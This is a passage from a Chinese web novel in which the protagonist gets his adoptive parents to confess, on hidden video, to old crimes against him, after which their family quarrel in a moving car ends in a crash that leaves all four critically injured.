文慎意识到:“所以连把衣初当亲生儿子带回宁家这件事都是你们本来就计划好的,是吗!你们甚至不是机缘巧合遇到了和你们亲生儿子情况相仿的一个孤儿……你们真的是太歹毒了……” 贺维安忍不住插了句话:“那当年宁则书被偷走又是怎么回事,总不会连这件事也是你们自导自演吧?” “不是!”韩文华连忙否认道,“不是自导自演,是……唉,小初出生那天,我和宁绍仁亲自看着人送他到了福利院门口,然后才回A市来,结果发现小书也不见了……就像报应似的,我们不在的时候,小书也不见了,他是在家里光天化日不见了的,只能是被人偷走了。” 文瑾冷笑道:“就是你们的报应!可凭什么报应完了,这些年过苦日子的一直是我的孩子……” 宁衣初对抒发情绪没什么兴趣,催促道:“接着说啊,关于宁则书被偷走这件事的真相。” 韩文华叹了声气—— 当年文瑾和宣络在找宁衣初,宁绍仁和韩文华也在找宁则书,一样的是都没能找到。 因为觉得这是作恶的报应,所以宁绍仁和韩文华是真的自责过、也想要找回亲生儿子,但寻子时间久了,他们渐渐想要放弃了,可在外面的形象已经塑造起来了,就这么突然说放弃寻子,脸上过不去。 于是他们想到了被他们放置在福利院门口的宁衣初。 宁衣初和他们的亲生儿子只有一个月的年龄差,六七岁的时候那一个月的差距自然已经不明显了,他们把他当亲生儿子带回来,既能顺理成章结束寻子之路、再在旁人眼里搏一桩美谈,又还有个关键—— 他们后知后觉意识到文家和宣家虽然在国外,但势力不可小觑,宁衣初身上那枚玉坠指向性太明显,恐怕文家宣家早晚能找到他,届时东窗事发再查到他们身上,恐怕不好应付。 所以他们要把宁衣初带回宁家,想着这样能拖延文家宣家找到他的时间,也能和宁衣初培养感情,让宁衣初即便被亲生父母找到也偏向他们这养父母,届时宁衣初的亲生父母顾及孩子,肯定无法对他们这养父母下狠手。 宁绍仁和韩文华也查探过了,文瑾和宣络并没有再生其他孩子,所以他们觉得,甚至可以借控制宁衣初,达到将来从文家和宣家谋利的目的。 不过他们最开始是想要培养感情,借亲情控制宁衣初。但时间还没多久就觉得累了,正好亲生儿子也找回来了,于是他们不想装了,顺势开始败坏宁衣初的名声、打压欺辱他。 宁家人本来就是蛇鼠一窝,乐得有这么个能凝聚家族“团结”的出气筒,这些年来也是帮了宁绍仁和韩文华不少忙。 听到这里,宁则书插话问道:“所以,我当年被偷走又被找回宁家的事,到底是怎么回事?小初刚被你们带回宁家没两三个月,我就被你们找到了,在此之前几年都没找到,是你们没尽全力找,还是就那么巧呢?” 宁绍仁和韩文华这时都忍不住看了眼宁则棋。 见状,宁衣初挑了下眉,没想到宁则书这件事里都还有宁则棋的手笔,连他都要被这接二连三的“反转”剧情给震住了。 宁则棋在看宁衣初的表情,而宁衣初当下并没有再掩饰感觉到的意外,所以宁则棋意识到了,突然开口:“小初,你好像并不知道这件事,看来你也没那么神通广大,那刚才关于你身世的事……你是真的知道吗?” 宁绍仁和韩文华闻言脸上都一僵。 宁衣初之前连贺家入赘的老爷子秦凯年轻时候的事都知道,加上这些天宁家接二连三被折腾进去的人和事,他们刚才是完全没有怀疑宁衣初也知道他自己身世这件事真相的,所以才没有负隅顽抗。 但如果宁衣初压根不知道,那他们不是自投罗网吗? 那么久之前的事,本来如果他们自己不说,应该不会有人知道的…… 宁衣初乐不可支,无所谓道:“反正现在是知道了。剩下也就宁则书身世这件事,看来也是你们家内部矛盾,不想说也行,反正跟我没关系。” 宁则书愣了愣,因为太过意外所以直到听宁衣初说完,他才确认道:“所以,我被偷走的事,和大哥有关?我出生的时候,大哥是……十三岁了吧,难道是大哥担心我跟你争父母宠爱和家产,所以把我‘送’走了?” 说到最后,宁则书也表情讥讽起来:“这样的话,那之前确实是我太没数了,爸妈还真挺爱大哥你这个长子的,丢孩子和烧死人的事都能替你遮掩了。” 宁则棋耸了耸肩,竟然也没辩解的打算。 “不是这样的……”韩文华连忙道,“小书,你大哥他当年也不是故意的,他也是被骗了……我大哥,你十岁那年他就去世了的那个大舅,他当年不知道祖父让我去做什么事,只是从祖父的律师那边探听到口风,得知祖父打算给我更多遗产,所以心生嫉妒,想要让我过得不好,于是就趁着那天我和你爸不在……我们送小初去福利院了……” 韩家大舅就趁着那天,打着想看小外甥但不想去宁家、懒得跟宁家人交际的名头,让宁则棋把尚在襁褓的宁则书抱了出去,还让他悄悄的、免得引起宁家人注意还要解释很麻烦。 韩家大舅对宁则棋这个外甥挺好的,在此之前虽然嫉妒妹妹但也没表现明显过,宁则棋当时虽然觉得大舅的举动有点怪里怪气,但大舅平时游手好闲也确实是个不怎么着调的人,于是宁则棋没有怀疑,就把宁则书抱出去了。 韩家大舅带着宁则棋和宁则书去商场,说要给小外甥买礼物,然后让提前安排的人趁他和宁则棋“不注意”的时候,把宁则书抱走了。 宁则棋当时也不知内情,真以为是意外,惊惧之下听了大舅的话——装作无事发生、并没有把宁则书抱出来过,就当宁则书就是在宁家突然失踪的,等宁家和韩家一起把宁则书找回来了,再跟宁绍仁和韩文华认错,到时候人都回来了这件事比较好过去。 宁则棋就这么瞒了六七年,直到宁绍仁和韩文华把“亲弟弟”宁衣初带回了宁家,他当时真以为那是他亲弟弟,所以最开始对宁衣初很好。 不过,即便如此,宁则棋那时其实并没打算对父母说出早年的真相。比起说实话然后获得父母原谅,为什么不直接当没这回事呢,反正弟弟已经找回来了,何必多事。 但宁则棋不知道,事情是韩大舅策划的,就是想看韩文华痛失幼子后的痛苦,宁则书就是韩大舅送出去的,他自然知道宁则书在哪里,也在一开始就知道宁衣初并非宁绍仁和韩文华的亲儿子。 韩大舅可不认为宁绍仁和韩文华会犯认错孩子这么离谱的错误,觉得他们肯定是故意想带回一个孩子结束漫长的寻子——这一点倒是猜对了。 然后韩大舅就决定,不能看着韩文华回到平静日子,他要把宁则书送回宁家,这样真假少爷都在,韩文华的日子一定很“热闹”。 因此,宁绍仁和韩文华才会“意外”得知了亲生儿子宁则书的下落,而且宁则书所在福利院的院长直接找上了门,甚至没给宁绍仁和韩文华犹豫要不要破坏当前“平静”日子的机会。 “看吧,大哥,你刚才还说我想在宁家浑水摸鱼,是对自己受宠程度太没信心,就这样的父母,你让我怎么有信心……当然了,你可以有,毕竟爸妈多护着你啊。”宁则书忍不住嘲讽道,“话说起来,当年我回到宁家,你最开始对我也挺好的,原来是心虚啊。” 宁则棋表情平静,只回答他前面的话:“毕竟要家和万事兴,爸妈知道你丢失的事里有我参与、我知道这件事是大舅主导的时候,你已经回到宁家三四年了,多一事不如少一事。” 宁绍仁糟心道:“你们那个大舅,不知道是不是继承了他们祖母的德性,也在病得要死的时候突然觉得良心不安,要说出真相来让活着的人心烦,临死前把这事儿告诉了我们,我们才知道原来是他偷走的小书你,后来又把你送了回来……他还挺能瞒天过海。” “你们都挺能的,要不怎么说是一家人呢。”宁衣初慢悠悠噎了宁绍仁他们一句,然后指了指楼梯口那边,示意贺适瑕过去一趟。 其他人没反应过来什么意思,就见贺适瑕过去了,走回来时手里拿了两部手机。 贺维安看了眼:“你和小初的手机?怎么在那边?” 宁则书反应挺快:“……你们把刚才那些事录下来了?” 宁衣初接过手机,莞尔道:“虽然不是你们首创,但多亏了宁则棋和宁则书你们兄弟俩的提醒,让我想起来还有这么朴素的取证方式。担心万一一个手机中途失灵,所以我还叫上了贺适瑕用他的手机一起录像,那个角度还挺不错的,刚才摆放手机的时候我确认过了,保证可以把你们都拍进去。” 对此,文慎、文瑾和宣络三人反正谈不上被捏了把柄,反应比较小。 贺维安和唐青山也还好,反正唐青山茶室火灾那事儿现在也不是很担心了,顶多就是一个当年包庇、配合毁坏证据的罪名,唐青山已经决定报警,本来就做好了这个准备,得知被录像也并不着急。 只有宁绍仁和韩文华本来就不好的脸色骤变,更加难看了。 宁绍仁难以置信:“你们录下来了?!” 韩文华看向楼梯口:“你们刚才说什么上楼拿东西放东西,其实就是为了放手机……” 并不清白的宁则棋脸色沉沉,但也没有父母那么激动,他看着宁衣初,提醒他:“火灾那件事,就算有我的亲口承认,但证据早已在当年被销毁,事情过去多年也已经无从查证,就算报警,按正规流程也不可能给我定罪,你知道吧?” 宁衣初笑了下:“知道啊,只有口供,证据链不完整嘛。” 但宁衣初太放松,宁则棋、宁绍仁和韩文华闻言并不能安心。 韩文华说:“我们把你送到福利院的事也是,没有完整的证据链……” 文瑾难以忍受地插话:“报警抓不了你们,我也不会放过你们的!” 宣络也放狠话道:“你们要是还能有好日子过,就是我们宣家和文家无能!我们两家虽然常年不在国内,但就你们宁家现在这破破烂烂的情况,对付你们容易得很!” 宁绍仁咬牙:“那你们可想清楚了!宁衣初马上也要成为康宁的股东,宁家和他利益相关!” 宁衣初轻啧了声:“没事儿,我手里资产丰厚,康宁的股份我打算折腾着玩,看能玩多久。” 宁绍仁登时扭头看他,有些怒不可遏:“你……你到底想怎么样?!这视频证据拿去报警也没用,就算公开也只能让大众口头讨伐我们,宁家如今这状况也不怕再火上浇油了……” 贺适瑕回道:“如果不怕,你们现在就不用这么急了。虽说‘虱子多了不怕咬’,但真的一层一层继续往上叠,把人咬死也不奇怪,康宁如今还没到背上最后一根稻草、破罐子破摔也无所谓的地步,宁总就别再拿这种你自己都不信的话放狠话了。” 韩文华有些崩溃道:“那你们到底想怎么样?小初你是不是想让我们答应解除收养关系?我们配合就行了,只要你放过我们,别再折腾了……” 宁衣初忍俊不禁。 他还没说话,宁则书倒是开了口:“爸爸妈妈,宁家其他人的下场还没让你们认清现实吗,为什么还要抱着小初会放过最让他憎恶的我们一家四口这样的期待呢?不过我也挺好奇的,小初你打算怎么做?” 宁则棋冷眼看宁则书:“反正今晚的‘清算’细数下来都没你的事,你可以放松看戏,最好小初真的把我和爸妈都送进去和宁家其他人团聚,剩下你可以接手宁家,对吧?” 宁则书笑眯眯的,也不在乎宁绍仁和韩文华复杂的目光,格外诚实地一点头:“我知道自己没干过作奸犯科的事,小初也不可能栽赃给我什么,所以确实不怕小初打击报复。至于爸爸妈妈……如果真的需要挑选继承人,我想应该不至于选小初或者其他人,都不选我吧?” “宁家如今确实破破烂烂,小初又打算拿着百分之五的股份当玩具,肯定不会帮我扶持康宁,我要是接手了难免起初艰难一些,但对我来说仍然是个宝藏呢,而且要不是到如今的程度,我也不可能沾手宁家的产业,福祸相依嘛。” 韩文华心痛道:“小书,你怎么可以这样……” 宁则书不回答她,只期待地看着宁衣初,又一次追问:“小初,你是打算怎么做呢?” 宁衣初欣赏完他们的内讧,好整以暇地轻啧了声。《 》 55-59 第56章 第 56 章 四个人都被下了病危通知…… 在诈供成功、解了原本让他不知晓来龙去脉的困惑后, 就送宁绍仁、韩文华和宁则棋去和宁绍义那些宁家人“团聚”——这的确是宁衣初原本的安排。 虽然不论是宁绍仁和韩文华偷孩子,还是宁则棋意外导致火灾致人死亡、他们对火灾一事毁灭证据瞒天过海,都已经没有完整的证据链, 即便有也都因为时间过去太久而已经过了法律上的追诉期, 就算录下了他们亲口承认的话也在法律上用处不大。 但宁衣初今晚问这些, 本来也不是指望靠这几件事达成送宁绍仁、韩文华和宁则棋进监狱的目的,他留下他们到现在, 只是为了弄清楚之前搞不明白的真相而已。 至于录下这期间的视频证据,也只是想着就算法律上没用, 但公诸于众也能给宁家人糟糕的口碑添砖加瓦, 宁衣初可没把报复手段全寄托在这段视频上。 宁则棋身为宁家的长子长孙,从小可以说是被捧着长大, 且宁家对他的“捧”和后来对宁则书那千依百顺的宠爱不一样,宁家人是把宁则棋当继承人在看的。 被宁家那“群英荟萃”捧着, 宁则棋自然也养成了目下无尘的性格, 而且他少时意外弄丢了亲弟弟、却顺利瞒天过海多年,刚成年时意外导致火灾害死了人、却也被轻易平了事,这样的经历更让他傲慢无比,视人命法度如草芥。 所以在过去那些年里, 本就不是什么好人还尝到过“甜头”的宁则棋当然不会是什么遵纪守法的良好市民, 不然先前也不会反应那么“快”, 看到药效发作的宁衣初就毫不犹豫想到把他送到贺适瑕房间去。 拿前几年的一件事来说—— 那会儿因为觉得身为继承人的工作压力太大, 宁则棋染上了和一众自诩脱俗的纨绔子弟飙车的嗜好,一群人聚集在荒郊野外刚建成还没正式对外开放的盘山公路路段, 摸着夜色玩极限,玩出了人命也不是什么很让人意外的结果。 当时是宁则棋的车因为拐弯后没稳住,直接把侧边另一辆车撞下了盘山公路, 那辆车当场爆炸、车里的人尸骨无存,甚至险些又引发了一场火灾。 宁则棋当时还是从一场应酬的酒局结束过去的,酒驾加出了人命,而且动静太大,就算是在荒郊野外也很快引起了注意,他根本没有向家里求助的时间。 就在那时,纨绔子弟中一个跟班性质的小弟主动“挺身而出”,说反正那段路没有监控,他们飙车也没开行车记录仪,他愿意给宁则棋顶罪,就说是他开的车,反正被撞下山的那辆车里的也正好是个家世平平的跟班小弟,只要在场其他人都守口如瓶、宁家愿意保他,他就不担心被打击报复,而且车祸致人死亡而已,对方超速飙车也有一定责任,他没肇事逃逸顶多七年,对方家里愿意接受赔偿的话更能减少刑期。 在场其他人自然愿意守口如瓶,一来是宁则棋是他们那群人里身份最高的,二来是对那些纨绔来说这么件事的确不算会让人寝食难安的要命事。 那个跟班小弟愿意顶罪,自然是想要用几年的刑期换宁家继承人许诺的远大前程,宁则棋自然也承诺了他。 有茶室火灾那件事在前,宁则棋对宁绍仁和韩文华是不会为了面子而保密的,他把盘山公路飙车的事也告诉了父母,宁绍仁和韩文华当然选择了继续“保护”长子,反正对于他们来说,只要瞒得过去,就也仍然不是什么大事。 毕竟家学渊源如此,宁绍仁和韩文华也不是什么清清白白的“榜样”。除了偷孩子、带头全家一起虐待宁衣初之外,宁绍仁和韩文华手里也有一堆被强行捂着的官司。 这些事,才是宁衣初准备用来送宁绍仁他们三人一程的,是板上钉钉不会浪费警力的。 他在这个晚上没有急于提起,是因为这些事和他没有直接的关系,他也没打算多费口舌,只准备像对待宁绍义那几个那样,直接带证据报警就行了。 当下,宁衣初打量着宁绍仁、韩文华和宁则棋当下的神态,估计他们心里也在揣测他到底知不知道这些事。毕竟前段时间宁家人集体为自己干过的烂事善后时,他们也都重新接触过涉事相关的人或物,也是给了宁衣初让人暗中取证的可能。 原本呢,现在确实就该进行到报警那一步了。 但是…… 宁衣初歪了下头,看着宁则书脸上那毫不掩饰的得意,嗤笑了声:“如果我说,我没有别的打算了呢?” 宁则书和在场其他人都愣了下。 宁衣初慢悠悠道:“这段录像视频,既然在法律上起不了作用,那我也没打算平白浪费警力,这段时间警察同志们老往宁家跑,也怪累的。不过真相还是要公诸于众的好,这段视频我会公开,把你们干过的事游街示众,让你们宁家人彻底身败名裂,也让涉事受害人家属知道真相。” 这番话,让宁绍仁、韩文华和宁则棋都有点难以置信。 宁则书期待落空,当然更无法接受宁衣初居然打算这么轻飘飘就放过宁绍仁三人,要知道这三人可是过去在宁家对宁衣初最糟糕的、而且自身也格外不干净的三人。 宁则书甚至有点控制不住情绪:“小初?你确定就这样吗?只是身败名裂就够了?我过去被瞒得太好,只知道爸妈大哥他们不干净,不知道他们身上具体有哪些事,但我不信你也不知道,你都能把宁绍义他们送进去,你肯定有能报复爸妈大哥的证据,不然你不会这么反应平淡,连我都不能接受,你要是真的治不了他们,你必然更加义愤填膺才对!” 宁衣初忍俊不禁:“宁小少爷今晚这人设崩塌完了吧。” 宁绍仁几乎要跳起来给宁则书一巴掌:“不孝子!还有脸叫爸妈大哥,看到我们不会有事可把你给难过坏了!刚才那些想要篡位的话老子还没跟你计较,你就又说这么一堆白眼狼畜生话,怎么,过去那些年给你憋坏了?!看宁衣初不打算把我们送去坐牢,你就想把我们气死是不是,想看你爸步你祖父的后尘是不是!” 宁则棋目光沉沉地看着宁衣初:“宁则书的话不中听,但的确,但凡你真的拿我们没办法,只能从名声口碑上下手,你不会这么无所谓,宁家人里你应该最恨的就是我和爸妈,还有宁则书。” 事到如今,宁则书已经懒得搭理宁绍仁,但宁则棋这番话让他回了句:“我可没有直接主动欺负过小初啊,怎么最恨的人里我还要跟你们同一阶梯了……小初,是不是我刚才的态度让你不高兴了,觉得如果这个时候治了爸妈大哥,就是给我做嫁衣,所以你为了让我不舒坦,宁愿放过他们?我对你来说这么重要吗,你确定吗?” 宁衣初轻啧了声:“还没放弃呢,想要激我,就这么想送你亲爱的爸爸妈妈大哥去吃国家饭啊?我觉得就这样也蛮好的,宁家人罪行公开、声名狼藉,据文女士和宣先生所说,他们也不会放过宁家,那就让你们一家以后都自由地活在水深火热里,不比让他们去牢里躲清闲要大快人心吗?” “对了,我手里还有康宁股份,以后可以常去看戏。看在你们给了我股份的诚意上,我其实也没那么气了,一想到你们因为忌惮而讨好我这个曾被你们欺辱的对象,我就觉得有意思。” 这话里未尽之意,摆明了就是宁衣初确实还有他们的把柄,可比那些过去十几二十几年的陈年旧事有用,只是大概真是被宁则书气到了,所以临时改主意不对付他们了、不想看宁则书如愿。 韩文华闻言想到这些,连忙开口道:“小初,你想把刚才录下的视频公开,就公开吧,我们做过的事也确实活该被揭发谩骂,你也能出出气。” 比起实打实去坐牢,损失点名声算什么。 宁则书还是难以置信:“小初,你可想清楚了!” 文瑾和宣络也不能接受。 宣络忍不住说:“他们这种人,就算表面说得再看重面子,但归根究底还是没脸没皮,就这么放过他们吗……还是让他们罪有应得,失去自由和优渥奢侈的生活环境,更加能达到报复目的吧……衣初,是不是有什么为难不方便做的事,让我们帮你吧。” 宁衣初好整以暇道:“不,我就想看这过去美满的一家四口往后内讧,宁小少爷刚才那催着我给他当刀使,他好坐收渔翁之利的态度恶心到我了。” 然后他直直看着宁则书:“宁则书,你确实是宁家人,都一样傲慢,看似聪明冷静点,但还是不够隐忍,但凡你刚才别那么得意,说不定现在已经达成目的,就算没有达成,也不至于在你亲爱的爸爸妈妈大哥面前彻底人设崩塌,回不去你团宠的宁小少爷地位了。” 宁则书脸色煞白。 他刚才的确有些得意忘形了,因为他笃定宁衣初不会放过宁绍仁、韩文华和宁则棋,那他也想在“临别”之前痛快自我一把,没想到…… “我没想到,我对你原来真的这么重要啊,你为了让我不好过,甚至愿意放弃报复你悲惨人生的始作俑者吗?”宁则书定定看着宁衣初。 文瑾这时开口道:“谁说放过了?衣初不是说了吗,他们往后会生活在水深火热里,舆论、文家和宣家都不会放过他们。虽然我也更希望他们罪有应得失去自由,但既然衣初觉得这样更能让他出气,那就按衣初的想法来,反正我们文家和宣家跟你们宁家走着瞧!” 然后她又温柔地看向宁衣初:“衣初,以后爸爸妈妈……抱歉,又下意识这样自称了……以后我们会搬回国内定居,不求你和我们相认,但我们一定会让你看到宁家人过得不好的……这枚玉坠,你收回去,好吗?” 宁衣初扫了眼她手里的玉坠,这玉坠陪着他走完了上辈子,但他如今仍然兴致缺缺:“不,我不要了。” 就像这亲生父母,他也不要了。 文瑾和宣络还想说点什么,宁衣初已经站起了身:“今晚的‘清算’结束,我累了,各位晚安。” 贺适瑕也起身跟上他,上楼回房间。 眼看着宁家人还要吵,贺维安及时开口下逐客令:“时间不早了,各家有什么事都回自家说吧,请。” 文慎、文瑾和宣络起身道别,互相扶持着离开了。 宁家这四口人就没那么有礼貌和和谐了,他们互相指责着走了出去,只剩宁则棋看上去仍然“稳重寡言”,不知道的还以为是个老实人。 宁衣初回到房间,忍不住打了个哈欠,是真累了:“我要洗澡睡觉了,你去帮我给浴缸放水。” 贺适瑕笑了笑:“好……阿宁,你没打算真的只放出录像视频,其他事都不用了吧?” 宁衣初轻嗤了声:“垃圾就该进回收厂,但我等着他们先内讧给宁则书添堵。” “以我今晚的表现和他们的自信,他们现在肯定觉得至少不会进监狱,‘安全’了,那他们会放过那么期待他们被踩死的宁则书吗?宁绍仁和韩文华只会马不停蹄清算宁则书,我估计要不了多久,说不准就会听到宁小少爷被亲爹妈扭送去国外哪个犄角旮旯小地方‘留学’的消息了。” 就像原书剧情里的宁安冬,在后期也成为了反派一员、仇视宁则书后,最终被宁家“流放”去了国外条件极端差的地方,想回国都难。 “正好,这期间我做完手术,然后报个警,把宁绍仁他们三个被捕的消息作为我的出院礼物。”宁衣初说完,又笑了下,“话说,要是宁绍仁他们这次还能被宁则书哄回原来的样子,我只能佩服他们的蠢和宁则书的能力了,说不定我还真小瞧了宁则书的三寸不烂之舌。” 没出乎宁衣初的意料,这次宁则书的三寸不烂之舌并没奏效,既有宁绍仁和韩文华已经被“伤透了心”、不信任他的缘故,也有一点是因为宁则书这次哄人也哄得没以前那么上心了,所以宁绍仁和韩文华这次连犹豫不决都没有了。 总之,这一家四口在回宁家的车上,继续争执、互相推诿指责得不可开交。 宁则棋在驾驶座开车,宁则书坐在副驾驶座,宁绍仁和韩文华坐在后座。 宁绍仁骂了会儿宁则书是白眼狼,又突然调转枪头指责韩文华:“谁让你刚才那么迫不及待就把话都说出去了?你没看出来宁衣初压根就不知道他身世的事吗,白给送了个把柄,他要曝光视频你还要夸他,可真是慈母啊,回头视频曝光了别人还能少骂你一句不成?” 韩文华气笑了:“说得像是你看出来了一样!他都知道秦凯那老头年轻时候的事,则棋十七年前茶室火灾的事他也知道,不知道他自己身世才是见了鬼了,我看他摆明了是一开始就确定文家和宣家那两个就是他亲爸妈的,谁知道他是在诈啊,要不是他最后不装了自己承认了,谁知道他压根不清楚二十年前的事!” 宁绍仁被回怼得更加忿忿了:“这小兔崽子,也不知道是哪来的这些真相……我看他最后说不定也是在演戏,其实他根本就没有我们其他把柄的证据了,只是想让我们忐忑不安,所以装得好像是他放过了我们一把,这混账还挺会演的!” “谁知道啊,反正也是亏了我们的宝贝小儿子弄巧成拙,宁衣初想看我们内讧,反倒不自己折腾我们了。”韩文华嘲讽道。 宁则书这才开口说了句话:“既然知道小初是什么意思,爸爸妈妈还是要顺他的意吗?” 宁绍仁气愤道:“还‘小初’呢!你们感情这么好,怎么没见他顺你的意帮你拿到康宁啊!我真是养了几个好儿子!两个小的都是白眼狼,老大看上去靠谱,出门被人夸能干,其实最能惹事的就是你,让我们都给你擦了多少次屁股了!” 宁则棋手里握着方向盘,闻言反应平平:“爸,说话还是文明一点吧,你看你现在气得脸红脖子粗的,像什么样子。” 宁绍仁哈了声:“还教训起你老子来了!你就是觉得反正我和你妈不可能去举报你,反正有我们给你兜底,所以干了蠢事就跟家里说,我和你妈帮你解决了也没见你有点感恩之心!” 宁则棋回过头看向后座,十分礼貌地点头致谢:“谢谢爸妈这么多年的包容爱护。” 这态度十分气人,但韩文华脱口而出的是:“你好好开车!看着路!又想出车祸搞出人命吗!” 要是换做平时,韩文华不会这么激动,但今晚本来就心情震荡,这时也是实在没那保密的自控能力了。 宁则棋回过头继续看路,宁则书倒是意识到了:“妈说‘又想出车祸搞出人命吗’……大哥,看来你以前开车撞死过人啊,什么时候的事,你猜小初知道吗?” 宁则棋扯了扯嘴角:“他知不知道我不知道,但你肯定是不知道的,现在就算听到了一点,你也没证据,别想着学小初的路子挨个把我们折腾进去。” “对了,爸,妈,我再不孝,也不会想要把这个家毁了好‘黄雀在后’,宁则书可不一样,继续把他留在身边,我看着比小初都危险,小初至少不会空口白牙给我们安罪名,宁则书看起来倒是能突破这底线,我建议把他送走吧。” 后座的宁绍仁和韩文华一滞。 要是换成以前,宁绍仁和韩文华早就骂说出了这话的宁则棋了,现在他们虽然没有马上满口答应下来,但显然愣过之后,第一反应也是意动。 宁则书被滑稽笑了:“又要送走我啊,这次打算把我送到哪里去?我可不是不会走路说话的婴儿了,你们还想控制我人身自由不成?” 宁则棋漠然道:“你这些年的确是被家里宠得太没见识了,想在这个家里拿人身自由权说话,可行性你倒是可以去跟小初交流交流,他比较有经验。” 宁则书冷下脸:“我是没见识,不都托了我亲爱的家人们的福吗,打着宠我的名义什么都不让我碰,所谓的长见识就是去认认奢侈品,就这算什么好,可偏偏连小初都觉得你们对我好!” “我们对你怎么不够好了?!”韩文华忍不住起了点身,掰过前方副驾驶座上宁则书的肩膀,质问道,“从你回家就是百般宠你爱你,你想要什么我们没给你过,这些年来宁衣初过得有多差,你就过得有多好,是你自己在那儿觉得没底气,每次就算要东西也只是些零零碎碎,我们才以为你没那么高的心气,想着就让你快快乐乐过一辈子,家里养你一辈子,别让你承担那么多!” 宁则书满脸冷讽。 宁绍仁也说:“我们为了让你以后有点保证,才想着让你和贺家联姻,那样你可以拿到康宁董事会那百分之五的股份!我们宁家人手里不能再分散了,不然在董事会更没话语权了,所以才打押在董事会那百分之五的主意,没有直接给你我们手里的!” 宁则书全然不信:“哈,你们就是看我‘乖’,说是给我那百分之五的股份,其实不就是觉得给到我了,本质也是由你们做主吗,是你们想要那股份,还要打着是为了我着想的名义!你们就是想控制我,就和想要控制小初一样的!不过是我是你们的亲生儿子,所以你们选择的方法不一样罢了!” 宁绍仁虽然角度不便,但还是鼓足了力扇了宁则书一巴掌:“如果真的只想要拿回股份,当初我和你妈就用不着冒着得罪贺家、翻出你大哥早年火灾的事,去找贺维安要求让贺适瑕来跟你联姻!贺适瑕是他们贺家最拿得出手的一个,我们是正正经经在考虑你的未来!” 韩文华捂脸哀叹:“怎么会发展成这样呢……小书啊,爸爸妈妈确实不是那种完美的伟大父母,但对你我们真的是真心的啊,哪怕最开始有过私心和虚假,但这么多年啊,就算演戏也演成真的了是不是?如果你真的想要继承家业,我们绝对不至于说连让你和你大哥竞争的机会都不给,是你之前每次说的时候,真的都像在撒娇,我们没法当真啊……你到底为什么这么不相信我们……” 宁则书捂着被打了的脸,愣了会儿,然后还是冷笑了:“现在是这样说罢了,你们从来都是会花言巧语的,我自己的感觉骗不了人,如果你们真的对我没有私心,我不会战战兢兢这么多年!每次看到你们那样对待小初,我都觉得……要不是有小初在宁家,那样被对待的人就该是我了……” 宁则棋呵了声:“说来说去,你没意识到自己要求太高了吗,爸妈都说了他们是有私心的,但对你绝对没坏心,你偏偏还在指责他们有私心这点。谁还没点私心了,我对爸妈也没那么孝顺,但我绝对不会做有损他们利益的事,爸妈骂我归骂我,也不会拿我怎么样,这不就够了。宁则书,你太贪心了。” 宁则书气得眼眶都开始发红:“我为什么不能贪心!我也是在福利院长大的,我那六七年过的什么日子你们不知道吗!你们欠我的,你们就该毫无私心补偿我!” 韩文华失望地看着歇斯底里的宁则书,说:“则棋说的对,你继续待在我们身边,我都要担心你会不会哪天偷运回来一点毒品放到我们随身物品里,自导自演把我们送进去……小书,家里送你出国留学吧,你以后……就别回来了。” 宁则书当然听得出来,这“出国留学”必然不会让他去什么好地方,于是他出离愤怒了:“我不!你们别想安排我!在宁家就要受你们控制,那好,我不回宁家了!宁则棋,你停车!我要下车!我现在就要下车!” 宁则书解开了安全带,也不顾正在行驶中就要去开副驾驶座的门,当然没能成功。 宁则棋讽刺道:“行了,别瞎折腾了……宁则书!滚开!” 宁则书扑到了驾驶座,想要去按台面上的紧急停车按钮,但他对这车不熟悉,看岔了眼按到了调整驾驶座椅背的按钮,且见车子没停,就一直按着没放。 长按之下,宁则棋的椅背猛地往后一倒,宁绍仁和韩文华这才反应过来,连忙要去拉开宁则书:“别乱碰驾驶台!” “你让开,让则棋停车,你这样则棋也没法停车啊……” “小书你别闹了……” “宁则书你不要命了吗!我在开车,现在看不到路了!” 宁则书还是没撒手。 他很清楚地意识到自己现在的状态有些奇怪。 一边理智上知道自己应该松开手、让宁则棋调整座椅起来看路,他这么发疯了,他们肯定会让他下车的。 但与此同时,手指却好像有千斤重一样,他提不起劲松手,甚至觉得……反正他们不会放过他的,就算现在放他下车了,他也没处去,他最基本的证件都还在宁家呢,他脱离不了宁家,会像曾经的宁衣初一样只能受宁家摆布,他会被送到不知道哪个穷乡僻壤、永无天日。 他不要过那样的日子,要不现在大家一起死了算了。而且这样,宁衣初以后回想起来,说不定还觉得要谢谢他呢…… 宁则书坚持不松手,甚至开始乱碰方向盘,宁则棋只好摸索着想要去按停车键——这车子是自动挡,没有手刹那些物理上能强制停车的存在,也就导致现在想要停车特别不方便。 突然间,“嘭”的一声,宁则棋在意识到出了车祸的同时,恍惚回想起了几年前飙车时、把别人的车撞下山路的情景。 …… 宁家人出了车祸,宁衣初的手机在半个小时后接到了一通电话。 他这时刚从浴室出来,懒得动,所以是贺适瑕在帮他吹头发,见有来电,贺适瑕就暂时关闭了吹风机,改为用干毛巾继续先帮宁衣初擦着。 宁衣初接起电话,表情很快古怪起来。 等他挂断后,贺适瑕才问:“怎么了?” 宁衣初抬头看他:“宁绍仁、韩文华、宁则棋和宁则书出了车祸,被送到医院抢救,现在四个人情况都很不好,需要人签病危通知书。宁绍仁的律师虽然去了,但这么多人的病危通知书他不敢签,还涉及到后续的治疗方案,他也不敢做主,又联系不上其他宁家人,只能找我这个法律上的‘直系亲属’了,还说我其实才是最名正言顺的签字人……啧。” 贺适瑕也挺意外:“虽然猜到他们会内讧,但也没想到会这么迫不及待。话说回来,四个人都被下了病危通知书,这一家四口也挺齐头并进的。” 第57章 第 57 章 “我的手术是不是就这两…… 宁衣初放下手机:“我头发还没干呢, 继续帮我吹。” 贺适瑕轻笑了声:“好。” 重新打开吹风机,贺适瑕用正常的速度帮宁衣初吹干了头发,然后才问道:“那你现在要去吗?” 宁衣初懒洋洋地站起身, 朝卧室走:“不要, 困死了。” 宁家那四个人死不死的, 关他什么事,没他睡觉休息重要。 贺适瑕就噙着笑抓住了宁衣初的手腕:“阿宁, 我今晚可以不睡书房吗?” 宁衣初微微回头看他,挑了下眉:“可以啊, 你们贺家这宅子又不是没别的空房, 你爱去哪儿去哪儿,别烦我。” 贺适瑕还是抓着宁衣初不放:“阿宁……真的不要我陪睡吗, 今晚没有镜头了,可以更放开一点……” 宁衣初好整以暇道:“我说过了吧, 你的自我推销技巧很拙劣, 把你想占我便宜这件事包装得一点都没有吸引力。撒手。” 贺适瑕没让他说第三次,这回老老实实松开了手:“好吧,那我再修炼修炼话术。晚安。” 宁衣初轻哼了声,回卧室了。 贺适瑕待在原地, 看着他消失的背影, 自顾自笑了会儿。 宁衣初这晚不仅没打算去医院, 还怕被打扰清梦, 所以直接把手机完全静音了。 直到第二天上午,他才在律师的数度联络下, 